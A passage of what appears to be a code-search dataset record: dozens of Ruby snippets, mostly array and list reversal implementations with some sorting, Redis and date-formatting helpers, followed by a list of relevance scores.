reverse()\r\n self.reduce(List.new) { |new_list, item| new_list.cons(item) }\r\n end", "def reverse(array, length)\n beg_index = 0\n end_index = length - 1\n temp = 0\n while beg_index < end_index\n temp = array[beg_index]\n array[beg_index] = array[end_index]\n array[end_index] = temp\n beg_index += 1\n end_index -= 1\n end\n return array\nend", "def xrevrange(key, range_end = T.unsafe(nil), start = T.unsafe(nil), count: T.unsafe(nil)); end", "def reverse!(list)\n index = list.length\n loop do\n break if index == 0\n list << list.delete_at(index -= 1)\n end\n list\nend", "def zrevrange(key, start, stop, **options); end", "def reverse!(arr)\n counter = arr.size\n dup_arr = arr.dup\n arr.clear\n \n loop do \n break if counter == 0\n arr << dup_arr.pop\n counter -= 1\n end\n arr\nend", "def reverse(array, length)\n ##ORIGINAL VERSION: NOT A REVERSE IN PLACE\n # reversed_array = []\n # og_index = length - 1\n # tgt_index = 0\n # unless og_index == -1\n # length.times do\n # reversed_array[tgt_index] = array[og_index]\n # tgt_index += 1\n # og_index -= 1\n # end\n # end\n # return reversed_array\n\n # REVERSE IN PLACE:\n origin_index = length - 1\n target_index = 0\n temp = nil\n (length / 2).times do\n temp = array[target_index]\n array[target_index] = array[origin_index]\n array[origin_index] = temp\n origin_index -= 1\n target_index += 1\n end\n return array\nend", "def reverse!(array)\n array.each_index do |index|\n array.insert(index, array.pop)\n end\n array\nend", "def reverse(array, length)\n index = 0\n reverse_index = length - 1\n\n while index < reverse_index\n temp = array[index]\n array[index] = array[reverse_index]\n array[reverse_index] = temp\n\n index += 1\n reverse_index -= 1\n end\n\n # length.times do |index|\n # temp = array[index]\n # a = array\n # b = array\n # end\nend", "def reverse!(list)\n\n indx = list.size\n temp_arr = []\n list.each {|item| temp_arr << item}\n list.clear\n while indx > 0\n list << temp_arr[indx - 1] \n indx -= 1\n end\n\n list\nend", "def reverse!(arr)\n copy = []\n cp_index = arr.size-1\n (0...arr.size).each do |arr_index|\n copy[arr_index] = arr[cp_index]\n cp_index -= 1\n end\n copy.each_with_index do |el, index|\n arr[index] = el\n end\n arr\nend", "def zrevrange(key, start, stop, withscores: T.unsafe(nil), with_scores: T.unsafe(nil)); end", "def backwards!(array)\n duplicate = array.clone\n counter = 0\n loop do\n break if duplicate.empty? # counter == array.length\n\n array[counter]= duplicate.pop\n counter += 1\n end\n array\nend", "def truncate(length)\n range_stop = -1 - length\n # Get the keys to delete from the hash\n keys = @index.range(0, range_stop)\n # Remove the keys from the index\n @index.delete_by_rank(0, range_stop)\n\n # Remove the values from the hash\n multi do\n keys.each do |key|\n @hash.delete(key)\n end\n end\n self\n end", "def sluggish_octopus!(array)\n sorted = false\n until sorted\n sorted = true\n array.each_index do |index|\n index_2 = index + 1\n next if index_2 == array.length\n if array[index].length > array[index_2].length\n array[index],array[index_2] = array[index_2],array[index]\n sorted = false\n end\n end\n end\n array[-1]\nend", "def reverse!\n # reverse the sort order\n @order.map! { |direction| direction.reverse! }\n\n # copy the order to the options\n @options = @options.merge(:order => @order.map { |direction| direction.dup }).freeze\n\n self\n end", "def sluggish_octopus(array)\n\n sorted = false\n until sorted\n sorted = true\n\n array.each_index do |i|\n next if i == array.length - 1\n j = i + 1\n\n if array[i].length > array[j].length\n sorted = false\n array[i], array[j] = array[j], array[i]\n end\n end\n end\n array.last\n\nend", "def reverse!\n unless empty?\n temp = pop\n reverse!\n push_bottom(temp)\n end\n self\n end", "def reverse!(list)\n reverse_list = Array.new(list)\n (reverse_list.size - 1).downto(0).each { |index| list[index] = reverse_list[index]}\n list\nend", "def zremrangebyrank(key, start, stop); end", "def zremrangebyrank(key, start, stop); end", "def reverse!(arr)\n values = arr.dup\n arr.each.with_index do |_, index|\n arr[index] = values[-index - 1]\n end\nend", "def my_reverse(arr)\n len = arr.length - 1\n new_arr = []\n while len >= 0\n new_arr << arr[len]\n len -= 1\n end\n new_arr\nend", "def reverse_inplace(s, first = 0, last = s.length - 1) \n return s if first >= last\n \n top = s[first]\n s[first] = s[last]\n s[last] = top\n return reverse_inplace(s, first += 1, last -= 1)\nend", "def reverse!(array)\n index = 0\n array.length.times do \n array.insert(index, array.pop)\n index += 1\n end\n array\nend", "def reverse(arr)\r\n hold_arr = []\r\n if arr == hold_arr then return arr end\r\n i = 0\r\n loop do\r\n hold_arr.unshift(arr[i])\r\n i += 1\r\n break if i == arr.length\r\n end\r\n hold_arr\r\nend", "def sort!\n\t\tquick!(self, 1, length)\n\tend", "def reverse\n dup.reverse!\n end", "def reverse(a)\n new = []\n (0...a.size).each { |i| new << a[a.size - i - 1] }\n new\nend", "def reverse\n reversed = LinkedList.new \n each {|v| reversed.insert(0, v)}\n reversed\n end", "def reverse!(arr)\n index = 0\n (arr.length).times do\n arr.insert(index, arr.pop)\n index += 1\n end\n arr\nend", "def reverse!(array)\n reversed_array = []\n array.size.times { reversed_array << array.pop }\n reversed_array.size.times { array << reversed_array.shift }\n array\nend", "def reverse!(arr)\n return arr if arr == [] || arr.length == 1\n \n finished = arr.length - 1\n \n loop do\n e = arr.shift\n arr.insert(finished, e)\n finished -= 1\n break if finished == 0\n end\n arr\nend", "def reverse!(arr)\n return arr if arr == [] || arr.length == 1\n \n finished = arr.length - 1\n \n loop do\n e = arr.shift\n arr.insert(finished, e)\n finished -= 1\n break if finished == 0\n end\n arr\nend", "def reverse!(old_array)\n new_array = []\n while old_array.length > 0\n new_array << old_array.pop\n end\n while new_array.length > 0\n old_array << new_array.shift\n end\n old_array\nend", "def reverse(list)\n source_list = list.dup\n new_arr = []\n count = list.size\n until count\n new_arr << source_list[count - 1]\n count -= 1\n end\n new_arr\nend", "def reverse(array)\n new_array = array.dup\n counter, finish, max = 0, -1, (array.length)\n while counter < max\n new_array[finish] = array[counter]\n counter += 1\n finish -= 1\n end\n new_array\nend", "def reverse!(array_of_elements)\n return [] if array_of_elements.empty?\n holder_array = []\n \n loop do\n holder_array << array_of_elements.pop\n break if array_of_elements.empty?\n end\n \n \n loop do\n array_of_elements << holder_array.shift\n break if holder_array.empty?\n end\n array_of_elements\nend", "def reverse(arr)\n temp = arr.dup\n result = []\n result << temp.pop until temp.empty?\n result\nend", "def reverse\n LazyList.new { reduce(EmptyList) { |list, item| list.cons(item) }}\n end", "def <=>(set)\n return unless set.is_a?(Set)\n\n case size <=> set.size\n when -1 then -1 if proper_subset?(set)\n when +1 then +1 if proper_superset?(set)\n else 0 if self.==(set)\n end\n end", "def reverse!(list)\n \n temp_list = []\n list.size.times do |i|\n temp_list << list.pop\n end\n \n temp_list.each do |item|\n list << item\n end\n list\nend", "def reverse!\n old_list = self\n new_list = List.new(self.last_node)\n previous_node = self.get_previous_node(self.last_node)\n old_list.remove(old_list.last_node)\n reverse_util(old_list, new_list, previous_node)\n end", "def reverse\n ->(xs) {\n length.(xs) <= 1 ? xs : concat.(reverse.(xs[1..-1]), [head.(xs)])\n }\n end", "def rev(list)\n list.sort! { |a, b| b <=> a }\nend", "def reverse(array, length)\n n = 1\n (length / 2).times do |i|\n temp = 0\n temp = array[i]\n array[i] = array[length - n]\n array[length - n] = temp\n n += 1\n end\n return array\nend", "def reverse_inplace(s, first = 0, last = s.length - 1)\n return s if first >= last\n temp = s[first]\n s[first] = s[last]\n s[last] = temp\n \n return reverse_inplace(s, first + 1, last - 1)\nend", "def rearrange(array, less, array_length, highest_value)\n sorted = []\n for i in (0..(array_length - 1))\n key = array[i]\n index = less[key]\n sorted[index] = array[i]\n less[key] += 1\n end\n return sorted\nend", "def reverse!(arr)\n arr_orignal = arr.map{ |element| element }\n index = 0\n loop do\n break if index == arr.size\n arr[index] = arr_orignal[-(index+1)]\n index +=1\n end\n arr\nend", "def my_reverse\n out=[]\n each {|item| out.unshift(item)}\n\n out\n end", "def clearbyrev rev #(const rev: int64)\n each_value { |item| remove item if item.rev < rev } # удаляем из общей таблицы\n end", "def reverse(array)\n array.length\n reverse_index = -1\n count = 0\n new_array = []\n loop do\n break if count > array.length - 1\n new_array << array[reverse_index]\n reverse_index -= 1\n count += 1\n end\n new_array\nend", "def reverse!(array)\n copy = array.clone\n index = -1\n\n copy.each do |element|\n array[index] = element\n index -= 1\n end\n\n array\nend", "def rotate_reverse(n = 1)\n return if self.size.zero?\n n.times { self.unshift(self.pop) }\n end", "def reverse\n l = self.clone\n l.from = to\n l.from_orient = (to_orient == :+ ? :- : :+)\n l.to = from\n l.to_orient = (from_orient == :+ ? :- : :+)\n l.overlap = reverse_overlap\n l\n end", "def reverse_inplace(s, start_index = 0, end_index = s.length - 1)\n raise ArgumentError if !s\n \n return s if (end_index - start_index) <= 0\n \n temp_element = s[end_index]\n s[end_index] = s[start_index]\n s[start_index] = temp_element\n return reverse_inplace(s, start_index + 1, end_index - 1)\nend", "def reverse(array, length) # Ruby\r\n # set i to be the leftmost item in array swap\r\n i = 0;\r\n # set j to be the right item\r\n j = array.length - 1\r\n\r\n # loop through while j is greater than i\r\n while j > i\r\n # have a temp variable\r\n temp = array[i];\r\n # make the left most (i) element be the right element\r\n array[i] = array[j];\r\n # make the right element equal to the left element - now in temp var\r\n array[j] = temp;\r\n\r\n # increase i and decrease j\r\n i += 1;\r\n j -= 1;\r\n end\r\nend", "def sorted\n out = []\n elements = @elements.dup\n while (element = pop)\n out << element\n end\n @elements = elements\n out.reverse\n end", "def reverse(array, length)\n second_index = length - 1\n temp = nil\n (length / 2).times do |index|\n temp = array[index]\n array[index] = array[second_index]\n array[second_index] = temp\n second_index -= 1\n end\nend", "def reverse(arr)\n start_point = 0\n end_point = -1\n mid_point = arr.size / 2\n \n while start_point < mid_point\n arr[start_point], arr[end_point] = arr[end_point], arr[start_point]\n start_point += 1\n end_point -= 1\n end\n arr\nend", "def sort_by_length(my_sentence)\n split_array = my_sentence.split\n\n (split_array.length - 1).times do |i|\n value = split_array[i + 1]\n j = i + 1\n\n while j > 0 && split_array[j - 1].length > value.length\n split_array[j] = split_array[j - 1]\n j -= 1\n end\n split_array[j] = value\n end\n\n return split_array \nend", "def my_reverse(arr)\n idx = arr.length - 1\n rev = []\n while idx >= 0\n rev.push(arr[idx])\n idx -= 1\n end\n rev\nend", "def reverse!(list)\n list = list.sort! { |a, b| list.index(b) <=> list.index(a) }\nend", "def clean_result_set(result_set)\n result_set.each do |set|\n set.sort!\n end\n result_set.sort! {|a,b| a.size <=> b.size}\n end", "def reverse(array, length)\n raise NotImplementedError\nend", "def reverse!(list)\n list.sort! { |a, b| b <=> a }\nend", "def sort_by_length(arr)\n arr\nend", "def reverse!(array)\n index = 0\n half_point = array.size / 2\n\n while index < half_point\n end_index = array.size - index - 1\n end_element = array[end_index]\n start_element = array[index]\n\n array[index] = end_element\n array[end_index] = start_element\n\n index += 1\n end\n \n array\nend", "def reverse(arr)\n first = 0\n last = arr.length-1\n until first >= last\n original_first_el = arr[first]\n arr[first] = arr[last]\n arr[last] = original_first_el\n first += 1\n last -= 1\n end\n arr\nend", "def reverse!(list)\n count = 0\n\n list.size.times do\n list.insert(count, list.pop)\n count += 1\n end\n\n list\nend", "def truncate_zset(key, since)\n @redis.zremrangebyscore key, 0, since\n end", "def reverse_inplace(s, first = 0, last = s.length-1)\n if first < last\n s[first], s[last] = s[last], s[first]\n return reverse_inplace(s, first + 1, last -1)\n end\n return s\nend", "def reverse_inplace(s, first = 0, last = s.length - 1)\n # raise NotImplementedError, \"Method not implemented\"\n if first < last\n s[first], s[last] = s[last], s[first]\n reverse_inplace(s, first + 1, last - 1)\n end\n s\nend", "def pop\n if @length == 0\n raise \"index out of bounds\"\n end\n @store = @store[0...-1]\n @length -= 1\n end", "def reverse_elements(array)\n array.sort! do |a, b|\n b <=> a\n end\nend", "def reverse\r\n prev = nil\r\n cursor = @head\r\n while cursor do\r\n temp = cursor.next\r\n cursor.next = prev \r\n prev = cursor\r\n cursor = temp \r\n end\r\n @head = prev\r\n end", "def reversed(xs)\n listLength = xs.length-1\n newList = []\n while(listLength>=0)\n newList.push(xs[listLength])\n listLength = listLength - 1\n\tend\n return newList\nend", "def my_reverse\n new_arr = []\n i = self.length-1\n while i >= 0\n new_arr << self[i]\n i -= 1\n end\n new_arr\n end", "def reverse(arr)\n arr.each_with_object([]) { |item, arr| arr.prepend(item) }\nend", "def reverse_every_element_in_array(arr)\n reformed_array = []\n index = 0\n arr.each do |entry|\n reformed_array.insert(index, entry.reverse())\n index += 1\n end\n return reformed_array\nend", "def reverse(array)\n new_array = []\n array.length.times do \n new_array << array.pop\n end\n new_array\nend", "def reverse(arr)\n new_arr = []\n arr.each do |element|\n new_arr.prepend(element)\n end\n new_arr\nend", "def my_reverse\n reverse = []\n i = self.length - 1\n while i >= 0\n reverse << self[i]\n i -= 1\n end\n return reverse\n end", "def reverse!(list)\n list_copy = list.dup\n counter = list.size\n list.map! do |elem|\n counter -= 1\n list_copy[counter]\n end\nend", "def my_reverse\n arr = []\n\n idx = self.length - 1\n while idx >= 0\n arr << self[idx]\n idx -= 1\n end\n\n arr\n end", "def reverse(array, length)\n a = 0\n b = length - 1 # assigned to last index of array\n (length / 2).times do\n int_holder = array[a]\n array[a] = array[b]\n array[b] = int_holder\n a += 1\n b -= 1\n end\nend", "def reverse!(array)\r\n arr_copy = array.select {|x| x }\r\n first = 0\r\n last = -1\r\n loop do\r\n break if first >= array.size\r\n array[first] = arr_copy[last]\r\n first += 1\r\n last -= 1\r\n end\r\n array\r\nend", "def fix_the_meerkat(arr)\n arr.reverse!\nend", "def zrevrange(key, start, stop, **options)\n node_for(key).zrevrange(key, start, stop, **options)\n end", "def reverse(array, length)\n index = 0\n while index < (length / 2)\n array[index], array[length - index - 1] = array[length - index - 1], array[index] \n index += 1\n end\n return array\n # raise NotImplementedError\nend", "def reverse!(list)\n bounce = []\n list.length.times {bounce.push(list.pop)}\n bounce.length.times {list.push(bounce.shift)}\n list\nend" ]
[ "0.65747225", "0.618996", "0.6081487", "0.6065792", "0.60584176", "0.6046482", "0.60355055", "0.5958855", "0.5954961", "0.5941072", "0.5927598", "0.592289", "0.5915892", "0.5868319", "0.5864877", "0.5840324", "0.5797289", "0.579051", "0.57894474", "0.5774946", "0.5774426", "0.57616216", "0.5733519", "0.572186", "0.572041", "0.57122004", "0.5706162", "0.57026607", "0.56915164", "0.56915164", "0.5679069", "0.5665835", "0.5656686", "0.5651643", "0.565127", "0.5648316", "0.5634613", "0.5626159", "0.5626004", "0.56233984", "0.56187576", "0.5618703", "0.5618703", "0.5612262", "0.5601325", "0.55994785", "0.55952346", "0.5569116", "0.5566417", "0.556411", "0.5551836", "0.5548779", "0.55381936", "0.55300236", "0.5518265", "0.5507857", "0.5502288", "0.54971755", "0.54949594", "0.5487288", "0.54829586", "0.5481701", "0.54805684", "0.54791635", "0.547582", "0.54742104", "0.54657066", "0.54646474", "0.54617596", "0.54524314", "0.5444664", "0.54437995", "0.5443783", "0.5442119", "0.54419845", "0.5430837", "0.54284704", "0.5427115", "0.5424218", "0.5423306", "0.54177564", "0.5403719", "0.5401541", "0.5398049", "0.53916305", "0.53881466", "0.53880364", "0.53761834", "0.5369371", "0.5357077", "0.5357042", "0.5356642", "0.5351675", "0.5345423", "0.53426063", "0.533632", "0.5332664", "0.53317344", "0.5329468", "0.5327554" ]
0.6422498
1
ISO8601 string examples are taken from ISO8601 gem at published under the conditions of MIT license at Copyright (c) 20122014 Arnau Siches MIT License Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
def test_iso8601_parsing_wrong_patterns_with_raise invalid_patterns = ["", "P", "PT", "P1YT", "T", "PW", "P1Y1W", "~P1Y", ".P1Y", "P1.5Y0.5M", "P1.5Y1M", "P1.5MT10.5S"] invalid_patterns.each do |pattern| assert_raise ActiveSupport::Duration::ISO8601Parser::ParsingError, pattern.inspect do ActiveSupport::Duration.parse(pattern) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_iso8601\n strftime('%Y-%m-%dT%H:%M:%SZ')\n end", "def iso8601(p1 = v1)\n #This is a stub, used for indexing\n end", "def to_iso8601(date)\n return nil unless(date)\n date = DateTime.parse(date) unless(date.respond_to?(:strftime))\n date.strftime('%Y-%m-%dT%H:%M:%SZ')\n end", "def as_iso_8601\n htime = self.decompose_as_time\n iso = \"P\"\n htime[:days] && iso += \"#{htime[:days]}D\"\n iso += \"T\"\n htime[:hours] && iso += \"#{htime[:hours]}H\"\n htime[:minutes] && iso += \"#{htime[:minutes]}M\"\n htime[:seconds] && iso += \"#{htime[:seconds]}S\"\n return iso\n end", "def iso8601\n utc.strftime DATE_FORMATS[:iso8601]\n end", "def iso8601\n string = 'P'\n day = self.class.new 1, :day\n\n expand.each do |measured|\n string << 'T' if !string.include?('T') && measured < day\n string << measured.humanized_amount\n string << measured.unit.to_s[0, 1].capitalize\n end\n\n string\n end", "def iso8601_format( time )\n value = apply_utc_offset(time)\n\n str = value.strftime('%Y-%m-%dT%H:%M:%S')\n str << ('.%06d' % value.usec)\n\n offset = value.gmt_offset.abs\n return str << 'Z' if offset == 0\n\n offset = sprintf('%02d:%02d', offset / 3600, offset % 3600 / 60)\n return str << (value.gmt_offset < 0 ? '-' : '+') << offset\n end", "def date_published_iso8601\n date_published.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\n end", "def time_from_iso_format_str(iso_8601_string)\n iso_8601_string [/(\\d+)-(\\d+)-(\\d+)T(\\d+):(\\d+):(\\d+)/];\n y=$1;mon=$2;d=$3;h=$4;min=$5;s=$6\n Time.local(y,mon,d,h,min,s)\n end", "def generate_iso_8601_date\n date = self.to_formatted_s(:response_format)\n iso8601_date = Time.parse(date).utc.iso8601\n\n return iso8601_date\n end", "def to_iso_8601\n return 'PT0S' if @seconds.zero?\n iso_units = units\n 'PT' + iso_units\n .reject { |_unit, value| value.zero? } # Don't include zero values\n .to_a\n .map(&:reverse) # We want value before unit in our String\n .flatten\n .join\n end", "def iso_format(time)\n time.getutc.strftime('%Y-%m-%dT%H:%M:%SZ')\n end", "def iso8601_with_offset(datetime)\n if datetime.nil?\n return nil\n end\n\n offset = @tzinfo.current_period.utc_offset\n negative_offset = false\n datetime_string = datetime.strftime('%FT%T')\n\n if offset < 0\n offset *= -1\n negative_offset = true\n end\n\n if offset == 0\n offset_string = 'Z'\n else\n offset_string = Time.at(offset).utc.strftime('%H:%M')\n offset_string = '-' + offset_string if negative_offset\n offset_string = '+' + offset_string unless negative_offset\n end\n\n \"#{datetime_string}#{offset_string}\"\n end", "def parse_iso_8601_date(string)\n if string =~ ISO_8601_DATE\n Date.parse(string) rescue nil\n end\n end", "def iso\n to_time.utc.iso8601(3) #include milliseconds\n end", "def iso_format_time(time)\n return time unless time.is_a? Time or time.is_a? Date\n time = time.getutc if time.is_a? Time\n time = time.new_offset(0) if time.is_a? DateTime\n time.strftime('%Y-%m-%dT%H:%M:%SZ')\n end", "def date_time_str(time)\n \"#{time.utc.strftime('%Y-%m-%d')}T#{time.utc.strftime('%H:%M:%S.%L')}Z\"\n end", "def datetime_to_iso8601_date(gm_time = nil)\n gm_time ||= Time.now.gmtime\n\n gm_time.strftime('%Y-%m-%dT%H:%M:%SZ')\n end", "def strptime_format\n #'%Y-%m-%dT%H:%M:%S.%L'\n \"%Y-%m-%dT%H:%M:%SZ\"\n end", "def rfc2822\n strftime('%a, %d %b %Y %T ') << (utc? ? '-0000' : strftime('%z'))\n end", "def time_for_string(time)\n time = time.scan(/\\d{4}-\\d{2}-\\d{2} \\d{2}:\\d{2}:\\d{2}/)[0].sub(' ','T')\n Time.xmlschema(time)\n end", "def validate_event_time(item)\n error(msg: 'Invalid iso8601 string', item: __method__.to_s) unless valid_iso_8601(item)\n end", "def rfc3339(*args)\n #This is a stub, used for indexing\n end", "def conforms_to_dateTime_format(str)\n dateTimeRegex = /\\A(?:(?!0000)\\d{4})(-(0[1-9]|1[0-2])(-(0[1-9]|[1-2]\\d|3[0-1])(T([01]\\d|2[0-3]):[0-5]\\d:([0-5]\\d|60)(\\.\\d+)?(Z|(\\+|-)((0\\d|1[0-3]):[0-5]\\d|14:00)))?)?)?\\z/\n dateTimeRegex.match(str)\n end", "def windows_time_string(time)\n time.utc.iso8601.gsub(/[-|:|T]/, '').gsub(/Z$/, '.0Z') if time\n end", "def rfc_date(datetime)\n datetime.strftime(\"%Y-%m-%dT%H:%M:%SZ\") # 2003-12-13T18:30:02Z\n end", "def parse_iso8601_field(*keys, params: {})\n value = params.dig(*keys)\n\n return nil unless value\n\n begin\n Time.zone.iso8601(value)\n rescue ArgumentError\n raise InvalidFormatError.new(keys.join('/'))\n end\n end", "def strptime(str=\"-4712-01-01T00:00:00+00:00\", fmt='%FT%T%z', sg=nil)\n super(str, fmt)\n end", "def datetime\n return \"\" if self.date.nil?\n self.date.iso8601\n end", "def datetime\n return \"\" if self.date.nil?\n self.date.iso8601\n end", "def serialize(value)\n return if value.blank?\n value = cast(value) unless value.is_a?(ActiveSupport::Duration)\n value = remove_weeks(value) if value.parts.to_h.key?(:weeks)\n value.iso8601(precision: @scale)\n end", "def _format_date(date)\n return unless date\n\n DateTime.parse(date.to_s).iso8601\n end", "def generate_iso_rfc822_date\n date = self.to_formatted_s(:response_format)\n rfc822 = Time.parse(date).utc.rfc2822\n\n return rfc822\n end", "def strf_standard(datetime, length)\n\t\tif length == 'short'\n\t\t\treturn datetime.strftime('%a %k:%M%P - %b %-d')\n\t\tend\n\tend", "def formatted_time(time_str)\n format = '%Y-%m-%dT%H:%M:%S%Z'\n ::Time.strptime(time_str, format)\n end", "def print_assertion_string(str, iso)\n print(str)\n if(iso != '')\n print(' [')\n print(iso)\n print(']')\n end\nend", "def date_str(date)\n date.to_time.strftime('%a, %-d %b %Y %H:%M:%S %Z')\nend", "def common_timestring\n \"%I:%M%p %Z %a %d %B %Y\"\n end", "def format_date(str)\n str.sub(/^(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)$/, '\\3.\\2.\\1')\nend", "def time_to_str(dt)\r\n ret = nil\r\n if dt.nil?\r\n ret = \"\"\r\n else\r\n ret = dt.iso8601\r\n ret[10..-1] = \"Z\" if self.allday # yyyy-mm-ddZ\r\n end\r\n ret\r\n end", "def format(string=\"[%{full_years} years >][%{months_after_years} months >][%{days_after_months} days >][%{hours_after_days}h>]%{minutes_after_hours}m>]%{seconds_after_minutes}s\")\n\t\t\t\n\t\tend", "def iso; end", "def iso_time\n @iso_time ||= Time.now.utc.iso8601\n end", "def comparable_payload_date_now\n DateTime.now.utc.iso8601(3)\n end", "def stringify_datetime(datetime_name, params)\n DateTime.civil(params[datetime_name + \"(1i)\"].to_i,\n params[datetime_name + \"(2i)\"].to_i,\n params[datetime_name + \"(3i)\"].to_i,\n params[datetime_name + \"(4i)\"].to_i,\n params[datetime_name + \"(5i)\"].to_i,\n params[datetime_name + \"(6i)\"].to_i,\n 0).to_formatted_s(:db)\n end", "def parse(str=\"-4712-01-01T00:00:00+00:00\", comp=false, sg=nil)\n super(str)\n end", "def format_date(string)\n string.sub(/\\A(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)/, '\\3.\\2.\\1')\nend", "def safe_datetime_string\n safe_date = nil\n if self =~ US_DATE_REGEX\n safe_date = us_date_to_iso_str\n elsif self =~ JSON_DATE_REGEX\n safe_date = json_date_to_time.to_s\n else\n safe_date = self\n end\n safe_date\n end", "def format_date(string)\n string.sub(/\\A(\\d{4})-(\\d{2})-(\\d{2})\\z/, '\\3.\\2.\\1')\nend", "def test_rfc6351_value_time_with_second_z\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>--01Z</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:--01Z\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def get_yyyymmdd_hhnnss(s)\n return s.gsub('T', ' ').gsub('Z', '')\n end", "def event_time_string(event)\n return nil if event.nil?\n if event.is_a? Array\n return event.map{|e| event_time_string(e)}.compact.uniq.sort_by{|e| e.length}.last\n end\n timespan = event[\"timespan\"]\n # handle no data\n if timespan.nil?\n return nil\n\n elsif timespan.is_a? String\n $logger.debug(\"Timespan is a String, not an entity: #{timespan.inspect}\")\n timespan \n\n elsif timespan.is_a? Array\n return timespan.map{|t| event_time_string(t)}.join(\", \") \n # handle explicit label\n elsif timespan[\"label\"]\n return timespan[\"label\"]\n \n # handle an entity, but one with no dates\n elsif timespan[\"begin_of_the_begin\"].nil? && timespan[\"end_of_the_end\"].nil?\n return nil\n\n # handle both are the same\n elsif timespan[\"begin_of_the_begin\"] == timespan[\"end_of_the_end\"] \n return xsd_date_to_s(timespan[\"end_of_the_end\"])\n\n # handle both exist\n elsif timespan[\"begin_of_the_end\"] && timespan[\"end_of_the_end\"]\n return \"#{xsd_date_to_s(timespan[\"begin_of_the_begin\"])} — #{xsd_date_to_s(timespan[\"end_of_the_end\"])}\"\n \n # handle only one exists\n elsif timespan[\"begin_of_the_end\"] || timespan[\"end_of_the_end\"]\n return xsd_date_to_s(timespan[\"begin_of_the_end\"]) || xsd_date_to_s(timespan[\"end_of_the_end\"])\n \n # fallback to nothing\n else\n return nil\n end\n end", "def format_date(str)\n# str.gsub(/^(\\d\\d\\d\\d)[-|\\/](\\d\\d)[-|\\/](\\d\\d)$/, '\\3.\\2.\\1')\n str.sub(/^(\\d\\d\\d\\d)-(\\d\\d)-(\\d\\d)$/, '\\3.\\2.\\1')\n .sub(/^(\\d\\d\\d\\d)\\/(\\d\\d)\\/(\\d\\d)$/, '\\3.\\2.\\1')\nend", "def test_rfc6351_value_date_time_with_year_month_day_hour\n xml = <<XML\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<vcards xmlns=\"urn:ietf:params:xml:ns:vcard-4.0\">\n <vcard>\n <bday>\n <date-and-or-time>20150128T13</date-and-or-time>\n </bday>\n </vcard>\n</vcards>\nXML\n vobj = <<VOBJ\nBEGIN:VCARD\nVERSION:4.0\nBDAY:20150128T13\nEND:VCARD\nVOBJ\n assert_xml_reflexively_equals_to_mime_dir(xml, vobj)\n end", "def canonical_time\n Time.parse(timestamp).utc.iso8601\n end", "def display_date_microformat\n tag.time(class: :public_timestamp, datetime: public_timestamp.iso8601) { publication_date }\n end", "def serialize\n parts, sign = normalize\n\n output_parts = []\n output_parts << [parts[:years], 'y'] if parts.key?(:years)\n output_parts << [parts[:months], 'm'] if parts.key?(:months)\n output_parts << [parts[:weeks], 'w'] if parts.key?(:weeks)\n output_parts << [parts[:days], 'd'] if parts.key?(:days)\n output_parts << [parts[:hours], 'h'] if parts.key?(:hours)\n output_parts << [parts[:minutes], 'm'] if parts.key?(:minutes)\n if parts.key?(:seconds)\n output_parts << [sprintf(@precision ? \"%0.0#{@precision}f\" : '%g', parts[:seconds]), 's']\n end\n\n output_parts.map!.with_index { |(n, units), i|\n if @use_2_digit_numbers && i >= 1\n n = sprintf('%02d', n)\n end\n \"#{n}#{@separator}#{units}\"\n }\n\n output = output_parts.join(@delimiter)\n \"#{sign}#{output}\"\n end", "def parse_datetime(str)\n parts = str.scan(/.{2}/)\n year = Time.now.year.to_s[0..1] + parts[0]\n month = parts[1]\n day = parts[2]\n hour = parts[3]\n minute = parts[3]\n \"#{year}-#{month}-#{day} #{hour}:#{minute}\"\n end", "def get_str(element_spec, node)\n obj = get_obj(element_spec, node)\n\n case\n when obj.class.to_s =~ /time/i\n case element_spec['data_type']\n when /^date\\/time$/i\n str = obj.in_time_zone(@@time_zone).strftime(\"%Y-%m-%d %H:%M#{@show_seconds ? ':%S' : ''}\") rescue nil\n when /^time$/i\n str = obj.in_time_zone(@@time_zone).strftime(\"%Y-%m-%d %H:%M#{@show_seconds ? ':%S' : ''}\") rescue nil\n # str = obj.in_time_zone(@@time_zone).strftime(\"%H:%M\") rescue nil\n end\n when obj.class.to_s =~ /date/i\n str = obj.strftime(\"%Y-%m-%d\") rescue nil\n else\n str = obj.to_s\n end\n #puts \"#{__method__}: #{str}\" if str.index('Comments Alert, 54 yo f Pt.')\n str\n end", "def datetime_escape(string)\n Time.parse(string)\n end", "def fast_string_to_time(string)\n if string =~ Format::ISO_DATETIME\n microsec = ($7.to_f * 1_000_000).to_i\n res = new_time $1.to_i, $2.to_i, $3.to_i, $4.to_i, $5.to_i, $6.to_i, microsec\n res\n end\n end", "def from_wcf(date_string)\n matchdata = /\\/Date\\((\\d*).*/.match(date_string)\n unix = matchdata[1].to_i/1000\n datetime = Time.at(unix).iso8601\n return datetime\n end", "def iso8601_duration_to_seconds(duration_string)\n return 0 if duration_string.nil?\n hours = duration_string.match(/\\d+H/).to_s.chop\n minutes = duration_string.match(/\\d+M/).to_s.chop\n seconds = duration_string.match(/\\d+\\./).to_s.chop\n \n 